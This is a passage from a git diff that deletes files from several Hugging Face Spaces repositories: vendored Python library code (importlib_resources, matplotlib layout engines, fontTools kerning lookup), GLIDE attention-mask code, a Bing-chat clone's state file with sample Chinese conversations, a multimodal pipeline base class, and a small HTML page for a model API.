lookupKerningValue(("O", "public.kern2.E"), kerning, groups) - -100 - >>> lookupKerningValue(("public.kern1.X", "public.kern2.X"), kerning, groups) - 0 - """ - # quickly check to see if the pair is in the kerning dictionary - if pair in kerning: - return kerning[pair] - # create glyph to group mapping - if glyphToFirstGroup is not None: - assert glyphToSecondGroup is not None - if glyphToSecondGroup is not None: - assert glyphToFirstGroup is not None - if glyphToFirstGroup is None: - glyphToFirstGroup = {} - glyphToSecondGroup = {} - for group, groupMembers in groups.items(): - if group.startswith("public.kern1."): - for glyph in groupMembers: - glyphToFirstGroup[glyph] = group - elif group.startswith("public.kern2."): - for glyph in groupMembers: - glyphToSecondGroup[glyph] = group - # get group names and make sure first and second are glyph names - first, second = pair - firstGroup = secondGroup = None - if first.startswith("public.kern1."): - firstGroup = first - first = None - else: - firstGroup = glyphToFirstGroup.get(first) - if second.startswith("public.kern2."): - secondGroup = second - second = None - else: - secondGroup = glyphToSecondGroup.get(second) - # make an ordered list of pairs to look up - pairs = [ - (first, second), - (first, secondGroup), - (firstGroup, second), - (firstGroup, secondGroup), - ] - # look up the pairs and return any matches - for pair in pairs: - if pair in kerning: - return kerning[pair] - # use the fallback value - return fallback - - -if __name__ == "__main__": - import doctest - - doctest.testmod() diff --git a/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/importlib_resources/abc.py b/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/importlib_resources/abc.py deleted file mode 100644 index 23b6aeafe4f43d097734e186907232513ad27a3c..0000000000000000000000000000000000000000 --- a/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/importlib_resources/abc.py +++ /dev/null @@ -1,170 +0,0 @@ -import abc -import io -import itertools -import pathlib -from typing import Any, BinaryIO, Iterable, Iterator, NoReturn, Text, Optional - -from ._compat import runtime_checkable, Protocol, StrPath - - -__all__ = ["ResourceReader", "Traversable", "TraversableResources"] - - -class ResourceReader(metaclass=abc.ABCMeta): - """Abstract base class for loaders to provide resource reading support.""" - - @abc.abstractmethod - def open_resource(self, resource: Text) -> BinaryIO: - """Return an opened, file-like object for binary reading. - - The 'resource' argument is expected to represent only a file name. - If the resource cannot be found, FileNotFoundError is raised. - """ - # This deliberately raises FileNotFoundError instead of - # NotImplementedError so that if this method is accidentally called, - # it'll still do the right thing. - raise FileNotFoundError - - @abc.abstractmethod - def resource_path(self, resource: Text) -> Text: - """Return the file system path to the specified resource. - - The 'resource' argument is expected to represent only a file name. - If the resource does not exist on the file system, raise - FileNotFoundError. - """ - # This deliberately raises FileNotFoundError instead of - # NotImplementedError so that if this method is accidentally called, - # it'll still do the right thing. - raise FileNotFoundError - - @abc.abstractmethod - def is_resource(self, path: Text) -> bool: - """Return True if the named 'path' is a resource. - - Files are resources, directories are not. - """ - raise FileNotFoundError - - @abc.abstractmethod - def contents(self) -> Iterable[str]: - """Return an iterable of entries in `package`.""" - raise FileNotFoundError - - -class TraversalError(Exception): - pass - - -@runtime_checkable -class Traversable(Protocol): - """ - An object with a subset of pathlib.Path methods suitable for - traversing directories and opening files. - - Any exceptions that occur when accessing the backing resource - may propagate unaltered. - """ - - @abc.abstractmethod - def iterdir(self) -> Iterator["Traversable"]: - """ - Yield Traversable objects in self - """ - - def read_bytes(self) -> bytes: - """ - Read contents of self as bytes - """ - with self.open('rb') as strm: - return strm.read() - - def read_text(self, encoding: Optional[str] = None) -> str: - """ - Read contents of self as text - """ - with self.open(encoding=encoding) as strm: - return strm.read() - - @abc.abstractmethod - def is_dir(self) -> bool: - """ - Return True if self is a directory - """ - - @abc.abstractmethod - def is_file(self) -> bool: - """ - Return True if self is a file - """ - - def joinpath(self, *descendants: StrPath) -> "Traversable": - """ - Return Traversable resolved with any descendants applied. - - Each descendant should be a path segment relative to self - and each may contain multiple levels separated by - ``posixpath.sep`` (``/``). - """ - if not descendants: - return self - names = itertools.chain.from_iterable( - path.parts for path in map(pathlib.PurePosixPath, descendants) - ) - target = next(names) - matches = ( - traversable for traversable in self.iterdir() if traversable.name == target - ) - try: - match = next(matches) - except StopIteration: - raise TraversalError( - "Target not found during traversal.", target, list(names) - ) - return match.joinpath(*names) - - def __truediv__(self, child: StrPath) -> "Traversable": - """ - Return Traversable child in self - """ - return self.joinpath(child) - - @abc.abstractmethod - def open(self, mode='r', *args, **kwargs): - """ - mode may be 'r' or 'rb' to open as text or binary. Return a handle - suitable for reading (same as pathlib.Path.open). - - When opening as text, accepts encoding parameters such as those - accepted by io.TextIOWrapper. - """ - - @property - @abc.abstractmethod - def name(self) -> str: - """ - The base name of this object without any parent references. - """ - - -class TraversableResources(ResourceReader): - """ - The required interface for providing traversable - resources. - """ - - @abc.abstractmethod - def files(self) -> "Traversable": - """Return a Traversable object for the loaded package.""" - - def open_resource(self, resource: StrPath) -> io.BufferedReader: - return self.files().joinpath(resource).open('rb') - - def resource_path(self, resource: Any) -> NoReturn: - raise FileNotFoundError(resource) - - def is_resource(self, path: StrPath) -> bool: - return self.files().joinpath(path).is_file() - - def contents(self) -> Iterator[str]: - return (item.name for item in self.files().iterdir()) diff --git a/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/matplotlib/layout_engine.py b/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/matplotlib/layout_engine.py deleted file mode 100644 index 248ad13757f8bccaef66dd6dd185a6ccb216d957..0000000000000000000000000000000000000000 --- a/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/matplotlib/layout_engine.py +++ /dev/null @@ -1,284 +0,0 @@ -""" -Classes to layout elements in a `.Figure`. - -Figures have a ``layout_engine`` property that holds a subclass of -`~.LayoutEngine` defined here (or *None* for no layout). At draw time -``figure.get_layout_engine().execute()`` is called, the goal of which is -usually to rearrange Axes on the figure to produce a pleasing layout. This is -like a ``draw`` callback but with two differences. First, when printing we -disable the layout engine for the final draw. Second, it is useful to know the -layout engine while the figure is being created. In particular, colorbars are -made differently with different layout engines (for historical reasons). - -Matplotlib supplies two layout engines, `.TightLayoutEngine` and -`.ConstrainedLayoutEngine`. Third parties can create their own layout engine -by subclassing `.LayoutEngine`. -""" - -from contextlib import nullcontext - -import matplotlib as mpl - -from matplotlib._constrained_layout import do_constrained_layout -from matplotlib._tight_layout import (get_subplotspec_list, - get_tight_layout_figure) - - -class LayoutEngine: - """ - Base class for Matplotlib layout engines. - - A layout engine can be passed to a figure at instantiation or at any time - with `~.figure.Figure.set_layout_engine`. Once attached to a figure, the - layout engine ``execute`` function is called at draw time by - `~.figure.Figure.draw`, providing a special draw-time hook. - - .. note:: - - However, note that layout engines affect the creation of colorbars, so - `~.figure.Figure.set_layout_engine` should be called before any - colorbars are created. - - Currently, there are two properties of `LayoutEngine` classes that are - consulted while manipulating the figure: - - - ``engine.colorbar_gridspec`` tells `.Figure.colorbar` whether to make the - axes using the gridspec method (see `.colorbar.make_axes_gridspec`) or - not (see `.colorbar.make_axes`); - - ``engine.adjust_compatible`` stops `.Figure.subplots_adjust` from being - run if it is not compatible with the layout engine. - - To implement a custom `LayoutEngine`: - - 1. override ``_adjust_compatible`` and ``_colorbar_gridspec`` - 2. override `LayoutEngine.set` to update *self._params* - 3. override `LayoutEngine.execute` with your implementation - - """ - # override these in subclass - _adjust_compatible = None - _colorbar_gridspec = None - - def __init__(self, **kwargs): - super().__init__(**kwargs) - self._params = {} - - def set(self, **kwargs): - raise NotImplementedError - - @property - def colorbar_gridspec(self): - """ - Return a boolean if the layout engine creates colorbars using a - gridspec. - """ - if self._colorbar_gridspec is None: - raise NotImplementedError - return self._colorbar_gridspec - - @property - def adjust_compatible(self): - """ - Return a boolean if the layout engine is compatible with - `~.Figure.subplots_adjust`. - """ - if self._adjust_compatible is None: - raise NotImplementedError - return self._adjust_compatible - - def get(self): - """ - Return copy of the parameters for the layout engine. - """ - return dict(self._params) - - def execute(self, fig): - """ - Execute the layout on the figure given by *fig*. - """ - # subclasses must implement this. - raise NotImplementedError - - -class PlaceHolderLayoutEngine(LayoutEngine): - """ - This layout engine does not adjust the figure layout at all. - - The purpose of this `.LayoutEngine` is to act as a placeholder when the - user removes a layout engine to ensure an incompatible `.LayoutEngine` can - not be set later. - - Parameters - ---------- - adjust_compatible, colorbar_gridspec : bool - Allow the PlaceHolderLayoutEngine to mirror the behavior of whatever - layout engine it is replacing. - - """ - def __init__(self, adjust_compatible, colorbar_gridspec, **kwargs): - self._adjust_compatible = adjust_compatible - self._colorbar_gridspec = colorbar_gridspec - super().__init__(**kwargs) - - def execute(self, fig): - return - - -class TightLayoutEngine(LayoutEngine): - """ - Implements the ``tight_layout`` geometry management. See - :doc:`/tutorials/intermediate/tight_layout_guide` for details. - """ - _adjust_compatible = True - _colorbar_gridspec = True - - def __init__(self, *, pad=1.08, h_pad=None, w_pad=None, - rect=(0, 0, 1, 1), **kwargs): - """ - Initialize tight_layout engine. - - Parameters - ---------- - pad : float, 1.08 - Padding between the figure edge and the edges of subplots, as a - fraction of the font size. - h_pad, w_pad : float - Padding (height/width) between edges of adjacent subplots. - Defaults to *pad*. - rect : tuple (left, bottom, right, top), default: (0, 0, 1, 1). - rectangle in normalized figure coordinates that the subplots - (including labels) will fit into. - """ - super().__init__(**kwargs) - for td in ['pad', 'h_pad', 'w_pad', 'rect']: - # initialize these in case None is passed in above: - self._params[td] = None - self.set(pad=pad, h_pad=h_pad, w_pad=w_pad, rect=rect) - - def execute(self, fig): - """ - Execute tight_layout. - - This decides the subplot parameters given the padding that - will allow the axes labels to not be covered by other labels - and axes. - - Parameters - ---------- - fig : `.Figure` to perform layout on. - - See Also - -------- - .figure.Figure.tight_layout - .pyplot.tight_layout - """ - info = self._params - renderer = fig._get_renderer() - with getattr(renderer, "_draw_disabled", nullcontext)(): - kwargs = get_tight_layout_figure( - fig, fig.axes, get_subplotspec_list(fig.axes), renderer, - pad=info['pad'], h_pad=info['h_pad'], w_pad=info['w_pad'], - rect=info['rect']) - if kwargs: - fig.subplots_adjust(**kwargs) - - def set(self, *, pad=None, w_pad=None, h_pad=None, rect=None): - for td in self.set.__kwdefaults__: - if locals()[td] is not None: - self._params[td] = locals()[td] - - -class ConstrainedLayoutEngine(LayoutEngine): - """ - Implements the ``constrained_layout`` geometry management. See - :doc:`/tutorials/intermediate/constrainedlayout_guide` for details. - """ - - _adjust_compatible = False - _colorbar_gridspec = False - - def __init__(self, *, h_pad=None, w_pad=None, - hspace=None, wspace=None, rect=(0, 0, 1, 1), - compress=False, **kwargs): - """ - Initialize ``constrained_layout`` settings. - - Parameters - ---------- - h_pad, w_pad : float - Padding around the axes elements in figure-normalized units. - Default to :rc:`figure.constrained_layout.h_pad` and - :rc:`figure.constrained_layout.w_pad`. - hspace, wspace : float - Fraction of the figure to dedicate to space between the - axes. These are evenly spread between the gaps between the axes. - A value of 0.2 for a three-column layout would have a space - of 0.1 of the figure width between each column. - If h/wspace < h/w_pad, then the pads are used instead. - Default to :rc:`figure.constrained_layout.hspace` and - :rc:`figure.constrained_layout.wspace`. - rect : tuple of 4 floats - Rectangle in figure coordinates to perform constrained layout in - (left, bottom, width, height), each from 0-1. - compress : bool - Whether to shift Axes so that white space in between them is - removed. This is useful for simple grids of fixed-aspect Axes (e.g. - a grid of images). See :ref:`compressed_layout`. - """ - super().__init__(**kwargs) - # set the defaults: - self.set(w_pad=mpl.rcParams['figure.constrained_layout.w_pad'], - h_pad=mpl.rcParams['figure.constrained_layout.h_pad'], - wspace=mpl.rcParams['figure.constrained_layout.wspace'], - hspace=mpl.rcParams['figure.constrained_layout.hspace'], - rect=(0, 0, 1, 1)) - # set anything that was passed in (None will be ignored): - self.set(w_pad=w_pad, h_pad=h_pad, wspace=wspace, hspace=hspace, - rect=rect) - self._compress = compress - - def execute(self, fig): - """ - Perform constrained_layout and move and resize axes accordingly. - - Parameters - ---------- - fig : `.Figure` to perform layout on. - """ - width, height = fig.get_size_inches() - # pads are relative to the current state of the figure... - w_pad = self._params['w_pad'] / width - h_pad = self._params['h_pad'] / height - - return do_constrained_layout(fig, w_pad=w_pad, h_pad=h_pad, - wspace=self._params['wspace'], - hspace=self._params['hspace'], - rect=self._params['rect'], - compress=self._compress) - - def set(self, *, h_pad=None, w_pad=None, - hspace=None, wspace=None, rect=None): - """ - Set the pads for constrained_layout. - - Parameters - ---------- - h_pad, w_pad : float - Padding around the axes elements in figure-normalized units. - Default to :rc:`figure.constrained_layout.h_pad` and - :rc:`figure.constrained_layout.w_pad`. - hspace, wspace : float - Fraction of the figure to dedicate to space between the - axes. These are evenly spread between the gaps between the axes. - A value of 0.2 for a three-column layout would have a space - of 0.1 of the figure width between each column. - If h/wspace < h/w_pad, then the pads are used instead. - Default to :rc:`figure.constrained_layout.hspace` and - :rc:`figure.constrained_layout.wspace`. - rect : tuple of 4 floats - Rectangle in figure coordinates to perform constrained layout in - (left, bottom, width, height), each from 0-1. - """ - for td in self.set.__kwdefaults__: - if locals()[td] is not None: - self._params[td] = locals()[td] diff --git a/spaces/legoandmars/glide-inpainting/glide_text2im/clip/attention.py b/spaces/legoandmars/glide-inpainting/glide_text2im/clip/attention.py deleted file mode 100644 index 33775913e5cd604faea084190b1c218f34d908ac..0000000000000000000000000000000000000000 --- a/spaces/legoandmars/glide-inpainting/glide_text2im/clip/attention.py +++ /dev/null @@ -1,179 +0,0 @@ -import math -from abc import ABC, abstractmethod -from itertools import product -from typing import Any, Optional - -import attr -import numpy as np -import torch - - -@attr.s -class AttentionMask(ABC): - query_context_size: int = attr.ib(validator=lambda i, a, x: x >= 1) # type: ignore - key_context_size: int = attr.ib(validator=lambda i, a, x: x >= 1) # type: ignore - block_size: int = attr.ib(validator=lambda i, a, x: x >= 1) # type: ignore - n_head: int = attr.ib(validator=lambda i, a, x: x >= 1) # type: ignore - is_head_specific: bool = attr.ib(default=False) - n_query_pad: int = attr.ib(default=0) - n_key_pad: int = attr.ib(default=0) - - def __attrs_post_init__(self) -> None: - if self.query_context_size % self.block_size != 0: - raise ValueError() - if self.key_context_size % self.block_size != 0: - raise ValueError() - if self.n_query_pad >= self.query_context_size: - raise ValueError() - if self.n_key_pad >= self.key_context_size: - raise ValueError() - - self.n_query_block = self.query_context_size // self.block_size - self.n_key_block = self.key_context_size // self.block_size - self.first_pad_query_block_idx = self.n_query_block - int( - math.ceil(self.n_query_pad / self.block_size) - ) - self.first_pad_key_block_idx = self.n_key_block - int( - math.ceil(self.n_key_pad / self.block_size) - ) - - def _make_global_layout(self) -> None: - if not self.is_head_specific: - m = np.ones([self.n_query_block, self.n_key_block], dtype=np.bool) - r = product(*[range(n) for n in m.shape]) - - for qb, kb in r: - m[qb, kb] = np.any(self.block_layout(None, 0, qb, kb, 0)) - else: - m = np.ones([self.n_head, self.n_query_block, self.n_key_block], dtype=np.bool) - r = product(*[range(n) for n in m.shape]) - - for h, qb, kb in r: - m[h, qb, kb] = np.any(self.block_layout(None, h, qb, kb, 0)) - - self.global_layout = m - - @abstractmethod - def _block_layout( - self, blk_shape: Any, head_idx: int, query_idx: int, key_idx: int, blk_idx: int - ) -> np.ndarray: - raise NotImplementedError() - - def block_layout( - self, blk_shape: Any, head_idx: int, query_idx: int, key_idx: int, blk_idx: int - ) -> np.ndarray: - """ - `query_idx`, `key_idx` are block-level, zero-based indices. - """ - - m = np.ones([self.block_size, self.block_size], dtype=np.bool) - - if query_idx >= self.first_pad_query_block_idx: - n_pad = min( - self.block_size, - (query_idx + 1) * self.block_size - (self.query_context_size - self.n_query_pad), - ) - assert n_pad > 0 - m[self.block_size - n_pad :] = False - if key_idx >= self.first_pad_key_block_idx: - n_pad = min( - self.block_size, - (key_idx + 1) * self.block_size - (self.key_context_size - self.n_key_pad), - ) - assert n_pad > 0 - m[:, self.block_size - n_pad :] = False - - return m & self._block_layout(blk_shape, head_idx, query_idx, key_idx, blk_idx) - - -@attr.s -class DenseAttentionMask(AttentionMask): - def __attrs_post_init__(self) -> None: - super().__attrs_post_init__() - - self.global_layout = np.ones([self.n_query_block, self.n_key_block], dtype=np.bool) - n_zero_query_blocks = self.n_query_pad // self.block_size - n_zero_key_blocks = self.n_key_pad // self.block_size - self.global_layout[self.n_query_block - n_zero_query_blocks :] = False - self.global_layout[:, self.n_key_block - n_zero_key_blocks :] = False - - def _block_layout( - self, blk_shape: Any, head_idx: int, query_idx: int, key_idx: int, blk_idx: int - ) -> np.ndarray: - return np.ones([self.block_size, self.block_size], dtype=np.bool) - - -@attr.s -class DenseCausalAttentionMask(AttentionMask): - def __attrs_post_init__(self) -> None: - super().__attrs_post_init__() - - self.global_layout = np.tril(np.ones([self.n_query_block, self.n_key_block], dtype=np.bool)) - n_zero_query_blocks = self.n_query_pad // self.block_size - n_zero_key_blocks = self.n_key_pad // self.block_size - self.global_layout[self.n_query_block - n_zero_query_blocks :] = False - self.global_layout[:, self.n_key_block - n_zero_key_blocks :] = False - - def _block_layout( - self, blk_shape: Any, head_idx: int, query_idx: int, key_idx: int, blk_idx: int - ) -> np.ndarray: - if query_idx > key_idx: - return np.ones(2 * [self.block_size], dtype=np.bool) - elif query_idx < key_idx: - return np.zeros(2 * [self.block_size], dtype=np.bool) - else: - return np.tril(np.ones(2 * [self.block_size], dtype=np.bool)) - - -@attr.s(eq=False, repr=False) -class AttentionInfo: - n_heads: int = attr.ib() - ctx_blks_q: int = attr.ib() - ctx_blks_k: int = attr.ib() - block_size: int = attr.ib() - pytorch_attn_bias: Optional[torch.Tensor] = attr.ib() - - -def to_attention_info(d: AttentionMask) -> AttentionInfo: - return AttentionInfo( - n_heads=d.n_head, - ctx_blks_q=d.n_query_block, - ctx_blks_k=d.n_key_block, - block_size=d.block_size, - pytorch_attn_bias=None, - ) - - -def make_full_layout(d: AttentionMask) -> np.ndarray: - """ - Returns the `context_size x context_size` layout matrix described by `d`. If the layout is dependent on the index of - the attention head, a `attention_head x context_size x context_size` layout matrix is returned instead. - """ - - if not d.is_head_specific: - u = np.reshape(d.global_layout, [d.n_query_block, d.n_key_block, 1, 1]) - r = product(range(d.n_query_block), range(d.n_key_block)) - v = np.array([d.block_layout(None, 0, i, j, 0) for i, j in r]) - v = np.reshape(v, [d.n_query_block, d.n_key_block, d.block_size, d.block_size]) - - w = u * v - w = np.transpose(w, [0, 2, 1, 3]) - w = np.reshape(w, [d.query_context_size, d.key_context_size]) - return w - else: - if len(d.global_layout.shape) == 2: - u = np.reshape(d.global_layout, [1, d.n_query_block, d.n_key_block, 1, 1]) - u = np.tile(u, [d.n_head, 1, 1, 1, 1]) - elif len(d.global_layout.shape) == 3: - u = np.reshape(d.global_layout, [d.n_head, d.n_query_block, d.n_key_block, 1, 1]) - else: - raise RuntimeError() - - s = product(range(d.n_head), range(d.n_query_block), range(d.n_key_block)) - v = np.array([d.block_layout(None, i, j, k, 0) for i, j, k in s]) - v = np.reshape(v, [d.n_head, d.n_query_block, d.n_key_block, d.block_size, d.block_size]) - - w = u * v - w = np.transpose(w, [0, 1, 3, 2, 4]) - w = np.reshape(w, [d.n_head, d.query_context_size, d.key_context_size]) - return w diff --git a/spaces/leilevy/bingo/src/state/index.ts b/spaces/leilevy/bingo/src/state/index.ts deleted file mode 100644 index 272106d619c69f124ea8dd0f10872ab4840152d7..0000000000000000000000000000000000000000 --- a/spaces/leilevy/bingo/src/state/index.ts +++ /dev/null @@ -1,118 +0,0 @@ -import { BingWebBot } from '@/lib/bots/bing' -import { BingConversationStyle, ChatMessageModel, BotId } from '@/lib/bots/bing/types' -import { nanoid } from '@/lib/utils' -import { atom } from 'jotai' -import { atomWithImmer } from 'jotai-immer' -import { atomWithStorage } from 'jotai/utils' -import { atomFamily } from 'jotai/utils' -import { atomWithHash, atomWithLocation } from 'jotai-location' - -const initialMessages: ChatMessageModel[] = [ - { author: 'system', text: 'conversation between user and robot', id: '1' }, - { author: 'user', text: '销量最高的 3 种宠物吸尘器有哪些优点和缺点? ', id: '2' }, - { - author: 'bot', text: ` -您好，这是必应。根据网上的搜索结果，我为您找到了以下三款销量最高的宠物吸尘器，以及它们的优点和缺点： - -- **戴森Dyson V10轻量版 Digital Slim Fluffy无线吸尘器**[^1^] [^3^]：这款吸尘器专为宠物家庭设计，拥有强大吸力和多功能吸头，能够有效清除宠物毛发和灰尘。 - - 优点：轻便易用，续航时间长，过滤系统先进，能够有效去除过敏原； - - 缺点：价格较高，噪音较大，需要定期清洁滤网。 -- **飞利浦FC6908/82（W7）无线吸尘器**[^2^] [^4^]：这是一款手持式干吸无线吸尘器，专门为宠物家庭设计。它具有75分钟的超高续航，适合大户型；除螨涡轮刷，可以深度清洁床单被罩，免受螨虫侵害；吸拖一体设计，280ml大水箱，还可以往水箱里加入清洁剂。 - - 优点：清洁性能强劲，操作方便，适用多种场景； - - 缺点：噪音较大，达到84dB（A）；尘杯容量较小，只有0.6L；充电时长较长，需要5小时。 -- **必胜（Bissell） 宠物吸尘器**[^2^]：这是一款便携式手持真空吸尘器，专为清理宠物毛发而设计。它配备特殊的橡胶喷嘴和软毛刷头，可以轻松拾取宠物毛发和灰尘；几乎静音运行。 - - 优点：轻巧易用，重量只有1.36kg；电池可充电可更换； - - 缺点：续航时间不稳定，在15-30分钟之间浮动；吸力不够强劲，在地毯或沙发上可能效果不佳；没有过滤系统或过滤网。 - -希望这些信息对您有所帮助。如果您还有其他问题，请随时提问。😊 - `, id: '3' }, - { author: 'user', text: '今天的新闻', id: '4' }, - { - author: 'bot', text: `你好，这是Bing。我根据你的搜索查询“今天的新闻”为你找到了以下信息： - - # 中国新闻 - - 《求是》杂志发表习近平总书记重要文章《深化党和国家机构改革 推进国家治理体系和治理能力现代化》[^1^] - - 梦之队第5金！ 全红婵陈芋汐女双10米台夺冠[^1^] - - 中央气象台7月16日18时发布台风橙色预警[^1^] - - 贵州石阡：暑期旅游带动乡村振兴[^1^] - - 激活大科学装置的“人才红利”[^1^] - - 聚才用才留才 让希望的田野成为智慧的田野[^1^] - - 科学家发现粮食系统增效可有效支撑我国碳中和[^1^] - - 成都以赛为媒提升城市美誉度[^1^] - - 香江观澜：“抢人才”成效显著 香港竞争力依旧[^1^] - - 浙江建德：新安江上享清凉[^1^] - - 定向资金持续精准滴灌 高质量发展力量不断积累[^1^] - - 企业信心恢复加大中长期投资 为稳增长奠定基础[^1^] - - 武汉渡江节开赛 千名“泳士”竞渡长江[^1^] - - 金融更加重视对实体经济支持 降低融资成本提振市场信心[^1^] - - 大运来了丨成都迎大运 全民健身动起来[^1^] - - 藏在高校里的宝藏博物馆[^1^] - - 中国汽车工业用70年赢得三个“全球第一”[^1^] - - 辽宁阜新市委常委、副市长赖化平涉嫌严重违纪违法接受审查调查[^1^] - - # 国际新闻 - - 联合国秘书长：可持续发展面临风险 各国需加强行动[^2^] - - 国际航运业加快绿色转型[^2^] - - 美企反对收紧对华芯片出口限制[^2^] - - 欧洲加大气候科技领域投资[^2^] - - 中企助力丹麦发展清洁能源[^2^] - - 中国代表呼吁国际社会共同努力防止乌克兰局势失控[^2^] - - 中国和阿尔及利亚共同构建新型国际关系典范[^2^] - - 以上信息仅供参考，具体详情请点击以下链接查看： - - [1] [中国新闻_央视网(cctv.com)](https://news.cctv.com/china/) - [2] [人民网_网上的人民日报](http://www.people.com.cn/)`, id: '5' }, - { author: 'user', text: '写一个快排', id: '6' }, - { author: 'bot', text: "你好，这是Bing。我可以帮你用python写一个快排。快速排序是一种基于分治思想的排序算法，它的基本思想是：从待排序的数组中选择一个基准元素，将数组分为两个子数组，使得左边的子数组中的元素都小于或等于基准元素，右边的子数组中的元素都大于或等于基准元素，然后对两个子数组递归地进行快速排序，最后合并结果。下面是用python实现的快速排序的代码：\n\n```python\n# 定义一个函数，用于交换数组中的两个元素\ndef swap(arr, i, j):\n temp = arr[i]\n arr[i] = arr[j]\n arr[j] = temp\n\n# 定义一个函数，用于对数组的一段区间进行划分\ndef partition(arr, low, high):\n # 选择最右边的元素作为基准元素\n pivot = arr[high]\n # 初始化一个指针，指向左边区间的最后一个位置\n i = low - 1\n # 遍历左边区间中的每个元素\n for j in range(low, high):\n # 如果当前元素小于或等于基准元素\n if arr[j] <= pivot:\n # 将指针右移一位\n i += 1\n # 将指针所指的元素与当前元素交换\n swap(arr, i, j)\n # 将基准元素与指针右边的第一个元素交换\n swap(arr, i + 1, high)\n # 返回基准元素的最终位置\n return i + 1\n\n# 定义一个函数，用于对数组进行快速排序\ndef quick_sort(arr, low, high):\n # 如果区间长度大于1\n if low < high:\n # 对区间进行划分，得到基准元素的位置\n p = partition(arr, low, high)\n # 对左边子区间进行快速排序\n quick_sort(arr, low, p - 1)\n # 对右边子区间进行快速排序\n quick_sort(arr, p + 1, high)\n\n# 测试代码\narr = [5, 3, 7, 2, 9, 1, 4, 6, 8]\nprint(\"原始数组：\", arr)\nquick_sort(arr, 0, len(arr) - 1)\nprint(\"排序后的数组：\", arr)\n```", id: '7' }, - { - author: 'bot', text: "好的，我会尝试画一只猫。\n > ![一只猫](https://tse2.mm.bing.net/th/id/OIG.jz34V0PNVkPC229h9spV?w=270&h=270&c=6&r=0&o=5&dpr=1.5&pid=ImgGn)![一只猫](https://tse1.mm.bing.net/th/id/OIG.6g7d.XLZMP_iwAByLhvo?w=270&h=270&c=6&r=0&o=5&dpr=1.5&pid=ImgGn)![一只猫](https://tse2.mm.bing.net/th/id/OIG.iAxF4ekekYn7sZw9SmU6?w=270&h=270&c=6&r=0&o=5&dpr=1.5&pid=ImgGn)![一只猫](https://tse4.mm.bing.net/th/id/OIG.qDnzeSKzUCeJcrBqc5mX?w=270&h=270&c=6&r=0&o=5&dpr=1.5&pid=ImgGn)", - id: '8' - } -] - -export const GreetMessages = [ - '谢谢你! 知道你什么时候准备好继续前进总是很有帮助的。我现在能为你回答什么问题?', - '重新开始总是很棒。问我任何问题!', - '当然，我很乐意重新开始。我现在可以为你提供哪些帮助?', - '当然，我已准备好进行新的挑战。我现在可以为你做什么?', - '很好，让我们来更改主题。你在想什么?', - '不用担心，我很高兴尝试一些新内容。我现在可以为你回答什么问题?', - '好的，我准备好了！感谢重置。我们应该了解哪些内容？', - '感谢刷新！你有新的话题吗？', - '明白了，让我们重新开始。接下来应该讨论什么？', - '下一步！我可以为你做什么？', - '好的，我已准备好新话题。我们应该一起了解哪些内容？' -] - -export const bingConversationStyleAtom = atomWithStorage('bingConversationStyle', BingConversationStyle.Creative, undefined, { unstable_getOnInit: true }) -export const voiceAtom = atomWithStorage('enableTTS', false, undefined, { unstable_getOnInit: true }) - -type Param = { botId: BotId; page: string } - -const createBotInstance = () => { - return new BingWebBot({ - cookie: ' ', - ua: ' ', - }) -} - -export const chatFamily = atomFamily( - (param: Param) => { - return atomWithImmer({ - botId: param.botId, - bot: createBotInstance(), - messages: [] as ChatMessageModel[], - generatingMessageId: '', - abortController: undefined as AbortController | undefined, - conversationId: nanoid(), - }) - }, - (a, b) => a.botId === b.botId && a.page === b.page, -) - -export const hashAtom = atomWithHash('dialog', '') - -export const locationAtom = atomWithLocation() - -export const voiceListenAtom = atom(false) diff --git a/spaces/leogabraneth/text-generation-webui-main/extensions/multimodal/abstract_pipeline.py b/spaces/leogabraneth/text-generation-webui-main/extensions/multimodal/abstract_pipeline.py deleted file mode 100644 index 9c49935a2d734ac2628b4d71d9ce02f9a6d64f40..0000000000000000000000000000000000000000 --- a/spaces/leogabraneth/text-generation-webui-main/extensions/multimodal/abstract_pipeline.py +++ /dev/null @@ -1,63 +0,0 @@ -from abc import ABC, abstractmethod -from typing import List, Optional - -import torch -from PIL import Image -from transformers import is_torch_xpu_available - - -class AbstractMultimodalPipeline(ABC): - @staticmethod - @abstractmethod - def name() -> str: - 'name of the pipeline, should be same as in --multimodal-pipeline' - pass - - @staticmethod - @abstractmethod - def image_start() -> Optional[str]: - 'return image start string, string representation of image start token, or None if not applicable' - pass - - @staticmethod - @abstractmethod - def image_end() -> Optional[str]: - 'return image end string, string representation of image end token, or None if not applicable' - pass - - @staticmethod - @abstractmethod - def placeholder_token_id() -> int: - 'return placeholder token id' - pass - - @staticmethod - @abstractmethod - def num_image_embeds() -> int: - 'return the number of embeds used by a single image (for example: 256 for LLaVA)' - pass - - @abstractmethod - def embed_images(self, images: List[Image.Image]) -> torch.Tensor: - 'forward the images through vision pipeline, and return their embeddings' - pass - - @staticmethod - @abstractmethod - def embed_tokens(input_ids: torch.Tensor) -> torch.Tensor: - 'embed tokens, the exact function varies by LLM, for LLaMA it is `shared.model.model.embed_tokens`' - pass - - @staticmethod - @abstractmethod - def placeholder_embeddings() -> torch.Tensor: - 'get placeholder embeddings if there are multiple images, and `add_all_images_to_prompt` is False' - pass - - def _get_device(self, setting_name: str, params: dict): - if params[setting_name] is None: - return torch.device("cuda:0" if torch.cuda.is_available() else "xpu:0" if is_torch_xpu_available() else "cpu") - return torch.device(params[setting_name]) - - def _get_dtype(self, setting_name: str, params: dict): - return torch.float32 if int(params[setting_name]) == 32 else torch.float16 diff --git a/spaces/limcheekin/WizardCoder-Python-13B-V1.0-GGUF/index.html b/spaces/limcheekin/WizardCoder-Python-13B-V1.0-GGUF/index.html deleted file mode 100644 index 44fb32445b9bb497b29543c7589114af64e19885..0000000000000000000000000000000000000000 --- a/spaces/limcheekin/WizardCoder-Python-13B-V1.0-GGUF/index.html +++ /dev/null @@ -1,37 +0,0 @@ - - - - WizardCoder-Python-13B-V1.0-GGUF (Q5_K_M) - - -

          WizardCoder-Python-13B-V1.0-GGUF (Q5_K_M)

          -

          - With the utilization of the - llama-cpp-python - package, we are excited to introduce the GGUF model hosted in the Hugging - Face Docker Spaces, made accessible through an OpenAI-compatible API. This - space includes comprehensive API documentation to facilitate seamless - integration. -

          - -

